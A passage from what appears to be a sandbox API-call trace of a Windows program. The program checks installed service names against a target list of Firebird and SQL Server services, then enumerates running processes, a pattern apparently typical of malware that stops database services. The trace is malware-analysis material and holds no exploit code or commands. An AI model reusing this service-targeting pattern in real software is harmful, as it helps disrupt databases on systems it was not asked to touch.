(lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.509] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0044.509] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0044.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0044.509] lstrlenW (lpString="lfsvc") returned 5 [0044.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0044.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0044.509] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0044.509] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0044.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0044.509] lstrlenW (lpString="lmhosts") returned 7 [0044.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0044.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0044.510] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0044.510] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0044.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0044.510] lstrlenW (lpString="LSM") returned 3 [0044.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0044.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0044.510] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0044.510] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0044.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0044.510] lstrlenW (lpString="MpsSvc") returned 6 [0044.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0044.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0044.510] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0044.511] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0044.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0044.511] lstrlenW (lpString="NcbService") returned 10 [0044.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0044.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0044.511] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0044.511] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0044.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0044.511] lstrlenW (lpString="netprofm") returned 8 [0044.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0044.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0044.511] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0044.511] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0044.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0044.564] lstrlenW (lpString="NlaSvc") returned 6 [0044.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0044.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0044.564] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0044.564] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0044.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0044.564] lstrlenW (lpString="nsi") returned 3 [0044.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0044.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0044.564] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0044.564] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0044.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0044.564] lstrlenW (lpString="PcaSvc") returned 6 [0044.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0044.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0044.564] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0044.564] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0044.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0044.564] lstrlenW (lpString="PlugPlay") returned 8 [0044.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0044.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0044.564] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0044.564] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0044.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0044.565] lstrlenW (lpString="Power") returned 5 [0044.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0044.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0044.565] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0044.565] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0044.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0044.565] lstrlenW (lpString="ProfSvc") returned 7 [0044.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0044.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0044.565] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0044.565] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0044.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0044.565] lstrlenW (lpString="RpcEptMapper") returned 12 [0044.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.565] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0044.565] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0044.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0044.565] lstrlenW (lpString="RpcSs") returned 5 [0044.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0044.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0044.565] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0044.565] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0044.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0044.565] lstrlenW (lpString="SamSs") returned 5 [0044.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0044.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0044.565] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0044.565] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0044.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0044.565] lstrlenW (lpString="Schedule") returned 8 [0044.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0044.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0044.565] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0044.566] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0044.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0044.566] lstrlenW (lpString="SecurityHealthService") returned 21 [0044.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0044.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0044.566] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0044.566] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0044.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0044.566] lstrlenW (lpString="SENS") returned 4 [0044.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0044.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0044.566] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0044.566] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0044.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0044.566] lstrlenW (lpString="ShellHWDetection") returned 16 [0044.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.566] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0044.566] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0044.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0044.566] lstrlenW (lpString="Spooler") returned 7 [0044.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0044.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0044.566] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0044.566] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0044.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0044.566] lstrlenW (lpString="StateRepository") returned 15 [0044.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0044.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0044.566] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0044.566] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0044.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0044.567] lstrlenW (lpString="SysMain") returned 7 [0044.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0044.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0044.567] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0044.567] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0044.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0044.567] lstrlenW (lpString="SystemEventsBroker") returned 18 [0044.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0044.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0044.567] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0044.567] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0044.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0044.567] lstrlenW (lpString="Themes") returned 6 [0044.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0044.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0044.567] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0044.567] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0044.567] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x3d0d288 | out: hHeap=0x690000) returned 1 [0044.567] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x370 [0044.573] Process32FirstW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0044.574] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0044.574] lstrlenW (lpString="System") returned 6 [0044.574] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0044.575] lstrlenW (lpString="smss.exe") returned 8 [0044.575] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0044.576] lstrlenW (lpString="csrss.exe") returned 9 [0044.576] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0044.576] lstrlenW (lpString="wininit.exe") returned 11 [0044.576] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0044.577] lstrlenW (lpString="csrss.exe") returned 9 [0044.577] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0044.578] lstrlenW (lpString="winlogon.exe") returned 12 [0044.578] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0044.578] lstrlenW (lpString="services.exe") returned 12 [0044.578] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0044.579] lstrlenW (lpString="lsass.exe") returned 9 [0044.579] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.580] lstrlenW (lpString="svchost.exe") returned 11 [0044.580] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0044.581] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0044.581] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0044.581] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0044.581] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.582] lstrlenW (lpString="svchost.exe") returned 11 [0044.582] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0044.583] lstrlenW (lpString="dwm.exe") returned 7 [0044.583] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.583] lstrlenW (lpString="svchost.exe") returned 11 [0044.583] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.584] lstrlenW (lpString="svchost.exe") returned 11 [0044.584] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.585] lstrlenW (lpString="svchost.exe") returned 11 [0044.585] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.585] lstrlenW (lpString="svchost.exe") returned 11 [0044.585] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.586] lstrlenW (lpString="svchost.exe") returned 11 [0044.586] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.587] lstrlenW (lpString="svchost.exe") returned 11 [0044.587] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.588] lstrlenW (lpString="svchost.exe") returned 11 [0044.588] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.588] lstrlenW (lpString="svchost.exe") returned 11 [0044.588] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.589] lstrlenW (lpString="svchost.exe") returned 11 [0044.589] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0044.590] lstrlenW (lpString="spoolsv.exe") returned 11 [0044.590] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.590] lstrlenW (lpString="svchost.exe") returned 11 [0044.590] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.591] lstrlenW (lpString="svchost.exe") returned 11 [0044.591] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0044.593] lstrlenW (lpString="audiodg.exe") returned 11 [0044.593] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0044.594] lstrlenW (lpString="sihost.exe") returned 10 [0044.594] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.594] lstrlenW (lpString="svchost.exe") returned 11 [0044.595] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0044.595] lstrlenW (lpString="taskhostw.exe") returned 13 [0044.595] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0044.596] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0044.596] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0044.597] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0044.597] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0044.597] lstrlenW (lpString="explorer.exe") returned 12 [0044.597] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0044.598] lstrlenW (lpString="Memory Compression") returned 18 [0044.598] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0044.599] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0044.599] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0044.599] lstrlenW (lpString="SearchUI.exe") returned 12 [0044.599] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0044.605] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0044.605] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0044.605] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0044.606] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0044.606] lstrlenW (lpString="taskhostw.exe") returned 13 [0044.606] Process32NextW (in: hSnapshot=0x370, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0044.607] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0044.607] 